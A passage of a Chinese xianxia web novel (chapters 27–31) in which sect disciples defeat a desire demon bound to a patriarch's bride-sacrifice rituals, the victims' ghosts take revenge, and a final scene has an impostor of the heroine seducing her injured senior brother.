七窍开始流血,女人不甘心地咬住下唇。
那小妮子狡猾得很!
她根本就没被惑住心神,想来先前的模样怕也是装出来唬她的!
黑血越流越多,冷白肌肤上开始出现细小裂痕,不过几个呼吸之间,那裂痕便越变越大,直至变成一道道宽大的裂缝。
透过缝隙看去,那里面根本就不是什么鲜红血肉森森白骨,而是一团团旋转着聚拢的灰色雾气。
姜姒几步绕到那妖物身后,趁她还在愣神之际,反手抽出长剑,见那剑身上并无血迹,她心下一沉,脚尖轻点手腕翻转,冲着对方丹田处又刺出一剑——
但这一剑,却是刺了个空。
27. 027
那妖物本就岌岌可危的肉身彻底崩坏,千万片薄如蝉翼的画皮一瞬之间碎了满地。
前一刻还巧笑嫣然诱她犯错的“人”,不过须臾,便化作了一团模糊的灰雾。
“无知小儿”,一道似人非人的尖利女声响起,一反之前的婉转多情,语调中带着无尽的怨怼怒意:“不领情就罢了,竟还敢毁我肉身,简直该死!”
“既然诸位敬酒不吃吃罚酒,那我也只好辛苦送各位上路了。”
话音未落,那团挣扎翻涌的灰色雾气刹那间便如离弦之箭一般,裹挟着阴冷妖气直冲姜姒面门而来。
少女长眉一挑,却是早有防备,脚下一错,侧身避开雾气的同时反手一斩,附有灵力的锋利剑身轻而易举地将那团灰雾劈成两半。
刺耳的尖啸戛然而止。
好似妖物被狠狠中伤。
没等姜姒舒展眉眼,那被一分为二的雾气迅速聚拢,用比刚才还快的速度重新向她攻来。
灵器竟然伤不了它?!
这到底是个什么妖物?
灰雾移动速度太快,姜姒来不及仔细思考,足下一点跃至半空,旋身翻转、裙摆飞扬之间又是一剑刺出——
还是伤不了它。
雾气又一次迅速聚拢。
像是在嘲讽她白费力气。
小姑娘瞥了眼身后,咬牙、提剑,再一次迎了上去。
她明明什么也没说,一直注意她反应、顺着她目光看去的郁清却是瞬间理解了她的心思。
少年抽出腰间玄剑,拦住了一旁想要趁乱逃走的几个张家人,把人交给林尽柒叮嘱他好生看管后——
毫不犹豫转头,奔向了姜姒的方向。
*
“...灰色团雾...灵器难伤,艳绝画皮行于世间......”,躲在柱子后面,尽量不给自家阿姒添麻烦的江年越琢磨越不对劲。
这些特性总给她一种微妙的熟悉感。
到底是在哪儿见过来着?
平心静气、平心静气。
江年敛目蹙眉,耐着性子有条不紊地翻找识海中的记忆。
是哪儿来着……妖族、妖……
——她想起来了!
少女倏然睁眼,眸中欢喜流转,光华绽绽。
是《上古百妖录》第一百零七页右上方记载的欲妖!
这种妖物顾名思义,生于欲望长于欲望,无论是凡人还是修者,只要没有彻底跳出三界之外得道飞升,就都有被它缠上的风险。
而一旦被缠上,就是不死不休。
欲妖完成一个心愿的代价是三分神魂七缕精魄。
看着不多,但人心欲壑难填,完成一个就会出现下一个。
交易不止,欲望难灭。
它又没有实体,常是寄生在人心中,故而一般灵器很难伤它分毫。除非经过七七四十九日的佛法开光加持,才能暂时困住它,逼它凝出实体。
正因如此,这种妖物在妖界本族的地盘都不受欢迎,两百年前那场大战,最先被拿来开刀的便是这欲妖一族。
江年眉心皱了皱,她记得这种妖物应该早就灭绝了,唯一剩下的几个也都在当年被投入妖族荒渊,封印加身,怎会突然重现人间?
是巧合?还是有人故意为之......
头顶的长啸愈发尖锐刺耳,江年迅速回神,看向空中青绿玄黑两道交织的身影,高声提醒道:
“小师妹!那是欲妖,寻常灵器伤它不得!得看看尘一道友有没有什么开过光的灵器,那个可以暂时困住它!”
少女闻声,看向了尘一的方向。
那人对她微微颔首,冷白手指取下了缠在劲瘦腕骨上的黑色佛串,向上一抛双手合十——
繁复咒声中,一百零八颗佛珠微透着金光,飞速旋转,隐隐形成困阵之态。
姜姒和郁清对视一眼,不动声色地把那团灰雾往阵法中引,等佛光照下,妖物后知后觉反应过来时,已经迟了一步。
刚才还游刃有余的灰雾此时嘶吼着四处乱撞,企图靠一腔蛮力冲出眼前屏障。
烦躁之际,它只顾攻击不顾防御的短板便无意识露了出来,姜姒很快揪住了这个错处,刺了一剑。
本以为还像之前那样伤不了它,却见那灰雾浓度忽得降低,连那妖物也吃痛出声。
姜姒眼眸一亮,当即又刺出几剑,果然如她猜想的那般,雾气又淡了些。
长时间拉锯战带来的疲惫一扫而空,姜姒打起精神,忽略身上伤口传来的绵密疼痛,咬着牙准备速战速决。
却见刚才还被打得连连后退、难以还手的灰雾忽然胀大几倍。
与之变化相反的,是那几个留在现场的张家人,他们的面容身形不过几息之间就变得和张麒一样,衰败佝偻。
一道餍足的女声从浓郁灰雾中响起,听得那几人遍体生寒。
她像是在掩面娇笑:“多谢几位的款待了,活人的精魄神魂,果然对奴家而言是大补呢。”
“你、你什么意思?”
那几人中看起来年纪最小的不可置信地开了口,声音颤得像是要哭出来一般。
“我们不是一起的吗?”
他又偏头看向面色阴沉的张麒,语速很快,像是急着要确定什么。
“家主......家主、表哥!我们不是一起的吗?她不是我们张家的守护神么?!”
“什么神魂,什么精魄,是要我的命吗?要我的命吗?!”
男人几步上前,一把揪起张麒的衣领,手臂青筋暴起,装若癫狂:“你不是说只要乖乖献出妻女,就一定不会反噬到我们身上的么?晚娘和铃铛儿都给你做了祭品,现在轮到我了?”
“我后悔了......我后悔了,你把她们还回来,还回来!”
“没出息!”
张麒一把掀开了那人的手臂,理了理被扯乱的衣襟,神色不变,“我做的一切,都是为了张家子孙的未来。”
“晚娘也好,铃铛也罢,她们都是自愿为张家奉献的人,我会为她们立长生牌,张家子孙世代会永远记得她们的好。”
“再说”,他蹲下来,看着那人崩溃的眼睛,“你当初也尝到了甜头,怎么如今让你稍稍付出点代价都不行呢?”
说着,他不知怎么笑了起来,拍了拍男人颤抖的手臂,安抚道:
“别怕,守护神只是暂时收取了一点报酬,等这场婚事结束,最后一个祭品归位,我们想要的一切,都会有的。”
话音未落,林尽柒已经忍无可忍嗤笑出声了。
他就站在两人旁边,抱着长刀,居高临下:“还守护神呢?江道友都说了,这是欲妖,
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妖!懂么?”
“和妖做交易,无异于与虎谋皮,自取灭亡,还在这青天白日里做梦呢。”
张麒面色僵硬一瞬,随即像是想通了什么,又重新带上了笑,起身,对上少年桀骜骄矜的黑眸,用一种“我是过来人我很有经验”的语气慢悠悠劝道:
“你还年轻,不理解很正常。”
“对于一家之主来说,只要对方能给家族带来好处,管它是妖是神,皆为我张麒座上宾。”
说完,他没再看林尽柒面上神情,只转向那灰雾,恭敬行了一礼:“大人,时辰快到了,若是错过这次,怕是又得再等三年,请您显出神通,启动阵法吧。”
人形灰雾笑了几声,看向面前的姜姒郁清,语气故作同情:“哎呀哎呀,逗了你们这么久,奴家都快忘了正事,不过也没关系,能看到十二个阴女祭阵,你们也算死得其所了!”
她高高在上俯视那二人,企图从他们脸上看出惊慌失措的神情。
涕泗横流也不错。
一想到自己千般仔细万分精心养护着的皮囊被底下二人毁了个彻底,她就恨得牙痒痒。
畅想着一会儿二人伏地求饶的狼狈模样,欲妖就忍不住笑出声来。
看着眼前这团五官模糊的灰色雾气一反常态痴笑出声。
姜姒神情有些一言难尽,一旁的郁清也是难得露出对傻子的宽容。
等欲妖笑了个够,掐指念诀催动阵法时,本该痛苦出声的李三娘却是安静得很。
觉出几分不对的味道,她迅速睁眼看向底下二人,手握淡绿长剑的那个讨厌鬼像是终于等到她视线一般挥了挥手,漫不经心地开口道:
“如果你说的阵法指的是那件嫁衣上的锁魂阵,那不好意思,三娘穿的嫁衣上没有这个阵法。”
“怎么可能?!”
张麒和她同时出声,刚才还八风不动的人此刻面色震惊,随即反应过来,语气狐疑:
“你怎么知道锁魂阵的?”
“而且我明明看过......那衣服上的金线走向不变,怎么可能没有阵法?”
“我师姐是阵法世家的嫡系传人,你都能知道,我为何不行?”
姜姒歪头,淡色灵力从指尖流出。
“至于你说不变的金线走向,是这个吗?”
灵力穿过金色屏障,飞速没入了三娘那件大红嫁衣里。
最后一抹灵力消失的同时,嫁衣上的金色绣线也有了变化——
原本像是牢笼一样困住凤凰的绣线逐渐幻化,成了一只只振翅欲飞的蝶,随着姜姒手指轻勾,那些金蝶从嫁衣上脱离,争先恐后飞向了庭院之外的天空。
“这、这怎么可能?”
灰雾有些惊疑不定,“我设下的虽是残阵,但那也是个上古阵法,你怎么可能三天就破了阵?!”
“因为……我压根儿就没想着破阵呐。”
少女弯眸,“我只是用法宝幻化了个一模一样的出来。”
“谁叫我是个修二代,没办法,师尊给的好东西实在太多了。”
姜姒状若无奈地摇头,嘴角勾起,眼尾上翘,像只打了胜仗的得意小猫。
她偏头看向金蝶飞走的方向,轻声开口:
“没了那金线,凤凰也不用再被困在笼子里了——”
“真好。”
28. 028
眼见着最后一丝希望彻底破灭,张麒顿时像被抽了线的虾,原本挺直的脊背彻底弯了下去。
浊黄眼珠漫上血色,他捂着脸,半晌,忽地从喉咙里挤出几声意味不明的模糊低笑。
“几个小娘们儿能把我逼到如今这个地步,也算是有几分本事”,他慢慢直起身,不知从哪儿摸出一把锋利匕首,对准左手掌心,看向空中那团人形灰雾,声音里噙着几分走投无路的疯狂。
“大人,既然十二个阴女凑不成了,那想来十一个也是不打紧的”,他死死盯着被江年护在身后的李三娘,歇斯底里:“反正都是一群小贱人而已——”
“都该死......都去死吧!!”
“蠢货!给我住手——”
人形灰雾第一次失态,它几乎是尖叫着怒吼出声,却仍是晚了一步,锋利刀刃划破掌心,暗沉鲜血被人引着滴在了一枚白玉扳指上。
血被吸收的瞬间,灰雾肉眼可见变得慌乱起来。
顾不上刚才还想千刀万剐的两人,无头苍蝇似的就开始四处乱撞。
这般又急又怕的模样,就好像是......
企图在什么东西出来前,迅速离开这个地方。
但它本身就是只修为接近元婴中期的大妖。
姜姒蹙眉,握剑的手紧了又紧,偏头看向那枚沾了血的白玉扳指。能逼得它慌乱如此,那里面莫不是镇压的什么上古妖兽?
没来得及细想,就见几缕不知名的黑色雾气从玉扳指里钻了出来。这雾气怪得很,一开始是极细的丝状,而后慢慢拧成一股,最终凝出人形模样。
小姑娘定睛一看,心神一晃。
哪里是什么黑雾,那明明就是冤死之魂经年不散的怨气!
她迅速转移视线,看向拿着白玉的张麒。
那人见阵法起了效,正神色兴奋沉浸其中,浑然不觉周身异常。然而没过多久,他嘴角扬起的笑容就彻底僵在了脸上。
随着黑色雾气越涌越多,那块作为载体的白玉扳指,在他不可置信的目光中——
碎成了粉末。
张麒瞪大双眼,慌乱之中拼命伸手去抓那些被吹散的玉渣。
指尖却只碰到了微凉的轻风。
他忽地反应过来,明明刚才都是万里无云的天气。
哪儿来的风?
耳边传来凉意,他僵硬着试探回头,正对上一张熟悉的、面无表情的惨白人脸。
她红唇微勾,尖牙森森,一双不见眼白的漆黑瞳孔死死盯着他,笑着问道:“夫君——”
“还记得我么?”
*
“啊啊啊!!——”
男人凄厉的惨叫划破浓雾的寂静,姜姒踮着脚够着脑袋就要去一探究竟。
一只骨节分明的冷白手掌却忽地从后方伸出,把她的视线挡了个严严实实。
陌生的皂角香袭来,姜姒有些不适应,下意识往后退了两步,却正好撞进那人带着热意的怀抱。
少年一反以往的阴阳怪气,变得正经起来:“场面太过血腥,师妹还是不看为妙。”
潮湿热气洒在耳边,姜姒有些别扭地偏了偏下巴。
也不知到底是什么心理作祟,她忽然就想和对方反着来。
就像只被踩到尾巴的猫,她语气里带着三分不耐七分骄矜:“我堂堂剑尊首徒,怎会害怕这些东西?”
“郁师兄快把手移开,别影响我观察那边的战况!”
郁清沉默几秒,退了一步。
“......我可以帮你转述。”
姜姒:“......”
她闭了闭眼,一把拍开了面前的手——
然后好死不死的,和缺了半张面皮,血肉模糊、神色惊恐的张麒对视上了。
小姑娘深吸口气,抑制住反胃的冲动,把郁清的手又老老实实移了回来。
“......那人现在死了没?”
“还没”,压着笑的声音有些哑,“不过看起来,好像只剩半条命了。”
“死了没?”
“正在挖他眼睛。”
“现在呢?”
“挑了他筋脉。”
又过了约莫半刻钟,男人惨叫的声音渐渐微弱,姜姒试探着开口:“......应该还没死吧?”
“刚折断他手脚”,郁清收回手,后退几步,
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拉开二人距离,“她们还算是有分寸了。”
瞥了眼躺在地上宛如死狗的张麒,姜姒挑了下眉,不置可否。
抬眸看向还准备出手的几“人”,她轻咳了声,示意一旁看热闹的林尽柒怎么不象征性拦一下:“......各位,差不多了,这人至少还得留口气,不然我们那边也不好交代。”
她话音刚落,刚才还张牙舞爪的怨气瞬间乖顺下来,服服帖帖缩在主人身旁。
偶有一些跃跃欲试的也都被按了下去。
少女松了口气。
看来这些冤魂倒还算残存着意识,知道冤有头债有主,不会随意迁怒无辜之人。
可以试着交谈一番。
姜姒拱手行了个礼,嗓音温和,带着试探:“我观各位意识尚且清醒,不像是生前那等杀孽过重之人,不知为何会形成如此浓重的怨气?还被那张麒囚于白玉扳指之中?”
黑色怨气沉默翻腾,久久不语。
少女也不急,只耐心等待着。
不知过了多久,那群人形怨气忽地向两边散开,一个看起来地位最高的领头人慢慢走了出来。
黑色怨气散去,一个身姿清瘦的女人出现在了几人面前。
姜姒还没看清她的模样,身后却忽然传来一道不可置信的、打着颤的声音——
“阿姐?”
是三娘。
她穿着嫁衣,双目含泪。
轻轻推开拦在身前的手,三娘一点一点靠近庭院中央。
月光冷然,她阿姐的眉眼却是一如往昔的温婉包容。
她好想她。
少女的步子越迈越快,从一开始的走变成了跑。
夜风扬起她的裙摆和发尾,她湿红着眼,像儿时在外受了委屈,飞奔回家找长姐撑腰一般。
女人也张开手臂,笑着要拥她入怀。
她憋着股气使劲儿跑使劲儿跑,想着在奔入她阿姐怀里之前都不要落泪。
但她还是失败了。
在她对近在咫尺的人伸出手——
却够了个空之后。
晶莹泪珠落下,穿过女人透明魂体,滴在地上,砸出一朵小花。
29. 029
三娘踉跄着止步,因着用力而泛起青白的指骨被掩在大红嫁衣之下,她偏头回望那道熟悉虚影,嘴角动了动,扯出个比哭还难看的笑来。
“阿姐”,少女长睫轻颤,眼尾低垂,委屈又可怜,“我好想你啊。”
“你走之后。”
“他们都欺负我。”
“...是我没用...”,她胡乱抹了把脸,嗓音哽咽,“二姐被他们逼死了,我、我本想给你们报仇来着,但我太没用了。”
“要不是、要不是有那几位仙长倾力相助,报不了仇不说,可能我自己都要搭进去......”
少女鼻尖泛着红,有些语无伦次。
姜姒忽地就有些感慨。
三娘自初次见面时就表现得英勇又果敢,遇事不慌且很有主见。她太冷静了,以至于姜姒都快忘记,她如今也不过刚刚及笄而已。
看着哭得上气不接下气的自家小妹,女人没说话,只犹豫着上前几步,伸出手,似是想摸摸对方的脸,却在即将碰到的前一刹顿住了指尖。
透明与粉白。
对比好鲜明。
虚影叹了口气,缩回了手,接不住的泪珠、得不到的拥抱,一切都在提醒着她,她早就不是个活人了。
越贪恋,越不舍。
既如此,倒不如早做了断,扫干净这前路。
强压住内心的思念与不舍,女人阖了阖眼,转身看向一旁的姜姒几人,双手交叠,无比庄重地行了一礼:
“多谢各位仙长大义,出手帮衬,若不是诸位好心,我那小妹怕是也要遭受张家毒手,被困在那求天不应求地不灵的锁魂阵里,成了如我等一般的糊涂祭品。”
本想继续看姐妹情深却忽然被谢的姜姒有点懵。
她先是下意识摆了摆手,随即反应过来对方话中的重点,语气有些沉重:“……我等?”
“你的意思,后面那些人形怨气都是张麒曾经拿来祭阵的祭品?”
“是。”
“不过不知为何,我们十二人中只有我还残存着生前的记忆,其他的姐妹......都忘记自己姓甚名谁了。”
“十二人?”
姜姒攒眉蹙额,“可我们之前只找到了十一个长生牌位,为何会多了一个?”
“我想”,女人语气很平,咬字却极重,“那大概是张麒某次祭阵失败的牺牲品吧,毕竟我还依稀认得那小姑娘的容貌,像是后厨苏大娘的女儿。”
“姓苏?”
郁清握剑的手紧了紧,长眉微皱,抬眸看向那道虚影,“你还记得她具体叫什么吗?”
他反应有点奇怪。
姜姒偏头看了他一眼,少年面色苍冷,一双点漆黑墨的凤眼少见的透出几分关心。
他认识?
没等姜姒猜出什么,沉思片刻的女人已经给出了答案。
“嗯......我记得,好像是叫苏晚,傍晚的晚。是个清秀漂亮,挺讨人喜欢的小姑娘,约莫十三四岁的样子。”
她很敏锐,和姜姒一样察觉出了少年的不对劲,试探性地问了句:“仙长此问,是相识已久的熟人么?”
“不是”,郁清垂眼,长睫掩住他眸中情绪,不冷不淡应了声,“应诺寻人而已。”
女人了然点头。
随即,似是想到了什么重要事情,她又侧身看向不远处双手合十盘膝念咒的尘一,声音里带着几分显而易见的急切:
“敢问小师傅,我身后这十一人的魂魄可还能超度往生?”
“她们都是无辜之人,被骗到张家后吃了很多苦、死了也不得解脱,困在那锁魂阵里不见天日。”
“对了”,像是怕被拒绝,她又急急补充了几句,“她们手上都干干净净的,虽然失了意识,但都被我拘着,没造过杀孽。”
女人神情恳切,脚下还试图把张麒那摊烂泥往身后藏藏。
尘一没立即接话,只沉默着阖眼片刻。
等他再睁眼时,隐隐有道鎏金光芒自他瞳孔深处划过。
少年双手合十,低声念了句“阿弥佛陀”,在女人紧张的目光中,微微颔首,算是同意了。
看着明显舒了口气的虚影,他忽地开口,声音清泠如山雪:“执念太深,因果难缠。”
“你身负功德,若是愿意,来世必定平安顺遂,一生无忧。”
“逞一时之快意,值得么?”
他这话说得似是而非。
什么愿意不愿
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意的,姜姒蹙眉,刚想问两人在打什么哑谜,就见刚才还面色焦急的人忽地展颜一笑。
这笑容,看得姜姒一愣——
女人其实算不得有多漂亮,她眉眼更偏英气,所以笑起来有种万事随心的洒脱飒意。
就像是晴空下的草原,只是看一眼,便能感受到蓬勃的自由和昂扬的生命力。
与三娘相似的桃花眼含着笑意,女人看向尘一,难得起了几分调侃心思:“非也非也。”
“小师傅说我是逞一时之快意,这是基于我想要求个好的来世。”
“但若我不求来世呢?”
“下一世的我失了这一世的记忆,那我还能称得上是我么?不过另一个人罢了,和今生的我又有什么关系呢?”
“再说,今生的职责未尽,就算是转世投胎,我也难以心安。”
尘一蹙眉,刚想反驳,就见女人双手慢慢抬起,随着她的动作,身后原本缠在他人身上的黑色怨气被引了过来,顺着衣摆往上,慢慢裹住她的身体。
“你——”
尘一眉头皱得更深,但他刚开口,便被女人笑着打断了:
“我知小师傅是好心,但我意已决。刚才一番话不过个人愚见,并非有意冒犯,之后姐妹们的超度之事,还是要麻烦小师傅了。”
少年面色复杂,点了点头。
一直盯着自家长姐的李三娘见势不对,几步上前便伸手要阻断这些怨气。
但她不过一介凡人,怨气轻而易举就穿过了她的掌心,继续向中央的女人靠拢。
“不要、不要!!”
少女哭着去拦,去捉她长姐的袖摆,语气有些崩溃:
“停下、停下!好好投胎转世不好么?你到底想干什么啊!”
“细莺。”
一直没怎么跟她说话的人突然开了口,“还记得儿时阿姐答应过你的承诺么?”
“不论怎样,都会尽全力保护好小细莺。”
被怨气包裹着,只剩一双眼睛露在外面的女人看着她。
两双极其相似的眼睛对视。
恍惚中,少女只听见她带着笑的声音——
“所以啊,魂飞魄散前,阿姐再护你最后一次。”
30. 030
话音落下的刹那,黑色怨气攀延而上,彻底遮住了那双盈满泪光的眼睛。
在身后少女撕心裂肺的哭喊声中,她带着十二条亡魂的怨与恨,撞向了角落里的罪魁祸首。
灰雾与黑气纠缠翻涌,尖利的长啸渐渐微弱,曾经的痛苦被百倍奉还。
大仇得报,那十一个原本看不清面容的魂体也渐渐恢复成了生前模样。
生前的,少女模样。
彼时她们都还未曾出阁嫁为人妇,身上穿着的也不是那件要命的大红喜服。
鹅黄桃粉牡丹紫,流仙披帛曳地裙——样样都是好颜色。
姜姒还没来得及和身边少年感慨几句,一旁的角落却是忽然之间突生异变。
因果已了,执念已散。
十一个魂体越变越淡,受其影响,女人身上萦绕着的怨气也越来越稀薄。
被折磨得奄奄一息的欲妖抓住机会,暗暗凝聚残存妖力,趁着女人分神之际,狠狠打出一掌,绝地反击。
黑气被打散几分,模糊的念咒声从那团人形浓雾中兀地响起。
随着声音越来越清晰,那妖物的身形也迅速膨胀起来。
与之相反,刚才还趴在地上苟延残喘的张麒却是直截了当的一命呜呼,连带着那几个张家人也一齐失了性命。
“是你们逼我的!是你们逼我的!——”
“我本来不想要他们的命......可你们为什么非要对我赶尽杀绝?!”
似人非人的尖叫声刺得姜姒耳朵生疼,她蹙着眉抬眸望去,只见那欲妖周身翻涌的灰雾仿佛变成了一张薄膜。
它的身形越变越大、越变越大......那张膜也被撑得几近透明。
直至最后“嘭”的一声——
姜姒下意识抬手去挡,却见那四分五裂的薄膜在空中便化成了雾气弥散开来。
浓雾以欲妖为中心,逐渐向四周蔓延。
视野被遮挡了大半,少女干脆直接阖眼、屏息凝神,神识探出,很快便捕捉到了那妖物的踪迹。
睁眼的刹那,逢惊春脱手而出,直直破开浓雾,精准刺向妖物的方位——
姜姒侧耳,没听见任何声响。
难不成,又刺了个空?
心中陡然生疑,小姑娘单手掐诀,欲召回本命长剑,却只听见几声铮铮嗡鸣。
这声音......
是她的剑在拼命挣扎!
姜姒愕然,顺着声音望去,正对上了一双混沌无神的眼睛。
——那欲妖竟不知何时,凝出了人形。
和先前千娇百媚的倾世之姿不同,这次,它倒像是现了真身原型。
那张苍白泛青的脸上只有一双硕大如灯的眼睛,其余地方都只见大片大片的留白。
不知名的潮湿粘液沾湿了短小异常的四肢躯干,它浮在空中,只好似一个诡异的大头娃娃。
逢惊春,就悬停在离它心脏不到三寸的地方。
姜姒一时不察,盯着那双眼睛看得久了,恍惚之中竟不小心入了神。
耳边传来一阵似有若无的轻柔女声,诱着她对那只诡异妖物生出一股想要靠近朝拜的欲望。
她明知那是陷阱。
腿脚却是不听使唤向前迈了几步。
“小心。”
一只手掌迅速伸出,铁钳似的箍住了姜姒的手腕,“欲妖的眼睛有致幻作用,不可长时间盯着看。”
清凌凌的少年嗓音瞬间唤回了姜姒的神志。
四肢百骸那种不可掌控的沉重感倏然消失,小姑娘先是怔了下,随即不自觉地俯下身,大口大口开始喘气。
“它吸人精魄,修为已突破元婴后期,不可小觑。”
带着凉意的指尖安抚性地捏了捏少女的后脖颈,郁清眼底深处划过一抹担忧,说出的话却依旧是姜姒熟悉的刻薄风味。
“知道自己弱就别硬往上凑。”
“到头来还白送了把灵剑。”
他话音还未落,姜姒先一把推开了他,不声不响撑着膝盖直起了身。
冷白手掌僵在半空,郁清面上迅速露出几分慌乱无措。
他刚想道歉,却听对面少女冷嗤一声,以他刚才同样的阴阳语气毫不客气刺了回来:
“师兄怎么好意思说我的?”
“刚才若不是我推了师兄一把,怕是师兄现在已经喝完孟婆汤,走上奈何桥了......”
她在关心他。
没听见姜姒后面说了什么,郁清下意识瞥了眼他刚才站的位置——
那里的地面多了道萦绕几缕灰雾的裂口。
原来她刚才推他只是为了救他啊。
还好不是讨厌他。
提起的心被安安稳稳放了回去。
见郁清长了舒口气放松的模样,自以为说话超伤人怼爽了的姜姒狠狠皱眉:“......”
不是,他有病吧?
看向一击不成接近暴走边缘的欲妖,深知这不是算账的好时机,姜姒深吸口气,狠狠翻了个白眼过去,语速飞快:“师兄,你先和林道友吸引它一部分注意力,我得找机会拿回逢惊春。”
她说完,冲林尽柒比了个手势。
好在他们昨晚提前打过商量,接收到暗号的少年提着长刀就冲欲妖砍了过去。
郁清紧随其后,抽剑出鞘。
不得不说天才还是天才,他们二人明明之前从未见过面,一来一回的配合却是无比流畅自然,仿若多年默契的老友。
成功激怒了欲妖,转移了它的注意。
姜姒也没辜负那二人为她争取到的宝贵时间,足尖轻点、飞掠半空,握住剑柄后迅速旋身,稳稳落地。
看了眼角落里受伤的女人和院中那几个死得不能再死的张家人,小姑娘抿了抿唇,还是给女人周身布了个防护罩。
飞速叮嘱季长青看顾好李三娘,姜姒便拉着江年一齐支援空中正战得激烈的郁林二人。
吸收完张家人精魄的欲妖实力大增,四人合力也被它死死压制。
江年甚至被逼得没有起阵念诀的时间。
又堪堪躲过沾着粘液的手臂,姜姒翻身跃至欲妖身后,试图从背后给它狠狠一击。
谁承想那妖物背后像是长了眼睛,刚绕到它背后,一道杀意凛然的灰刃就直冲她面门而来。
速度太快。
姜姒心中绝望,她好像躲不过去了。
还没来得及闭眼,腰间忽然传来一股拉力,熟悉的皂角清香混着少年有些气急败坏的声音扑面而来。
她被人扣着腰,拉进一个带着热意的怀抱里。
刀刃入体的声音无比清晰,忍痛的闷哼就响在
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她耳旁。
少女后知后觉反应过来——她好像,又欠了郁清一条命。
颤抖的指尖抚上伤口,暗红温热的血怎么堵不住。
姜姒从少年箍得死紧的怀抱里挣了出来,她声音里无意识带上了几分颤抖的哭腔:“...没事吧...你没事吧?”
察觉到她的紧张,郁清泛白的嘴角勾了一下,垂下的浓密眼睫遮住了他眼中病态的满足愉悦。
看着面前少女眼尾泛红的可怜模样,少年喉结动了动,哑着嗓开了口:“没事,小伤而已。”
他话音未落,身后被忽视个彻底的欲妖怒意更盛,它一把掀翻还在苦苦纠缠的林尽柒和江年,似人非人的声音里带上了几分狰狞:“无知小辈!”
“被我的灰刃击中怎会无事?”
“除非心无杂念之人,否则必会日日欲念缠身,不得安宁。”
她说着,像是想到了什么,嗓音忽地放轻,态度变得暧昧。
明明是张缺少五官的脸,小姑娘却硬生生看出三分娇俏来。
“不过也没关系——”
她笑着看向姜姒,“你情郎这张脸也算英俊,等我把你杀了,披上你的皮,再拉着他共赴极乐。”
姜姒听到这话除了有些恶寒没什么反应,郁清的眸色却是冷了下来,手中玄剑蠢蠢欲动。
偏生欲妖没什么察觉,她看着郁清那张脸,只觉越看越满意,声音逐渐变得温柔似水,细听之下,隐隐有几分姜姒的影子。
“郎君”,那妖物笑着模仿,“你听我的声音,像她么?只要你想,我......”
她话未说完,一柄长剑已稳稳穿过她的心口。
少年侧颜苍白,点漆浓墨般的一双凤眸泛着凛然杀意,他居高临下瞥了那妖物一眼,冷冷开口:
“你算个什么东西?”
“也配和我师妹相提并论。”
欲妖顿了下,抚了抚心口,也不恼:“郎君这话未免太过绝对,再美的容颜终究不过一副枯骨,何必如此认真执拗,都一样的。”
“而且”,她语气变得有些含糊,“在床上......她还不一定比得过奴家......”
郁清懒得再听,玄色长剑随他心意,又寸进几分。
欲妖见状只是笑,伸手就要拔出那长剑,语气里尽是得意:“年轻郎君就是沉不住气,之前不是试过了么?普通灵剑杀不死我的,你......”
“怎么回事?!”
她说着,忽地发现那长剑像是钉在她身上了,怎么都拔不出来。
欲妖愕然抬眸,看向神色冷漠的郁清,少年指尖上还沾着血,见她望来,只漫不经心勾了勾手。
像是想到了什么,欲妖那双本来就大的眼睛兀地又瞪大几分,声音里满是不可置信:“怎么可能......你是......唔!!”
她话未说完就被少年干脆利落打了个封印。
郁清抿着唇,垂眸看向姜姒:“暂时封了它的嘴,免得它又说出什么不干不净的话。”
“让江年过来用阵先困住它,等回宗后再向宗主长老汇报,你......”
“什么?”
认真记录的姜姒没等到回音,疑惑之中抬眸查看。
却只见少年惨白着一张脸,双眸紧闭,失去意识一般朝她倒来。
31. 031
欲妖那把灰刃刺得很深,伤口看着不大,血却是没少流。
等郁清自己反应过来失血过多时,人已经昏昏沉沉栽了下去。
失去意识前,他最后看到的是少女急急张开的双臂和那双担忧无措的眼睛。直到跌入那人温热怀抱,他才顺从着、心满意足地闭上眼睛,任由自己被黑暗拉扯,不断下沉。
不知过了多久。
耳边忽然传来几句断断续续的低泣,那声音有点熟悉,少年蹙着眉耐心分辨。
直到他越听越不对劲,那是......
姜姒的声音?!
她怎么在哭。
心口先是空了一瞬,过了好一会儿,郁清才后知后觉反应过来——
姜姒在哭,在他身边哭。
他猛地就挣扎起来。
深陷泥沼的意识被他生硬拔出,强忍着太阳穴传出的不适,他一点一点,夺回了身体的掌控权。
能动的刹那,少年掀开眼帘,直愣愣地撞进了那双哭得红肿的杏眼里。
浓密纤长的睫羽被泪沾湿,黑亮瞳孔里泛着盈盈水色。
窗外月色朦胧,洒在少女身上,衬得她肌肤愈发莹白。
见郁清睁了眼,“姜姒”明眸一亮,伸手就要扶他起来。
束起的长发因着她的动作有些散乱,几根发丝黏在脸侧,极致的白与黑,诱得少年不自觉伸手,勾住了那抹墨色。
指尖捻着发尾,他偏开视线,声音压着哑:“...好端端的...怎么哭了?”
少女伸手的动作一顿,没答话,自顾自瞥了他一眼后便垂了眸,不知道在想什么。
郁清觉得有点奇怪,单手撑着榻刚准备起身,却忽地被人轻轻一推,被迫顺着力道,向后倒去——
披散着的长发如黑墨般晕散了半个床榻,少年诧异抬眸,却只见刚才还沉默着的那人不知何时上了榻,正跨坐在他身上,居高临下垂眼瞧他。
山间夜晚寒露深重,“姜姒”全身却只披了件水红外袍,连里衣都没穿。几根带子松松垮垮系在少女腰间,只衬得那块肌肤白得晃眼。
郁清呼吸一滞。
大片大片的红晕瞬间爬上那张冷白面皮,向来波澜不惊的点漆凤眸里满是震惊神色。
“你......”
少年喉结上下滚动一圈,“你在干什么?”
“姜姒”还是没说话,只慢慢塌下腰,纤白指尖顺着劲瘦腰身一路往上。他上身只穿了件雪白中衣,少女手心的湿热隔着薄薄一层布料烫得他脊背一阵颤栗。
郁清像是慌了神,话都不会说了,放在身侧的手无措至极,推也不是拉也不是,只能偏着头,吞吞吐吐磕磕绊绊地表示拒绝。
手指上行速度逐渐变快,却又忽地停在少年喉间,开始打着圈儿轻拢慢捻。
直至对方面色潮红,薄唇溢出难耐闷哼时,少女才笑着停了手,转移目标,继续向上攀折。
受不了了。
郁清喘着气,刚想捉住少女手腕大声质问她到底在搞什么鬼,动作却又忽地一顿——
那人喉咙里混着意味不明的笑,吻上了他眼尾那颗朱色小痣。
如他幻想过的那般。
她的唇很软,亲在脸颊上,像是一朵云。
郁清脑子有些发懵,少女却是不管不顾地顺着脸颊向下吻去。
直到快要碰上嘴唇时,他才像是终于反应过来,一把推开身上那人,嗓音冷得宛如刀刃拂过金石。
“你不是姜姒。”
“你到底是谁。”
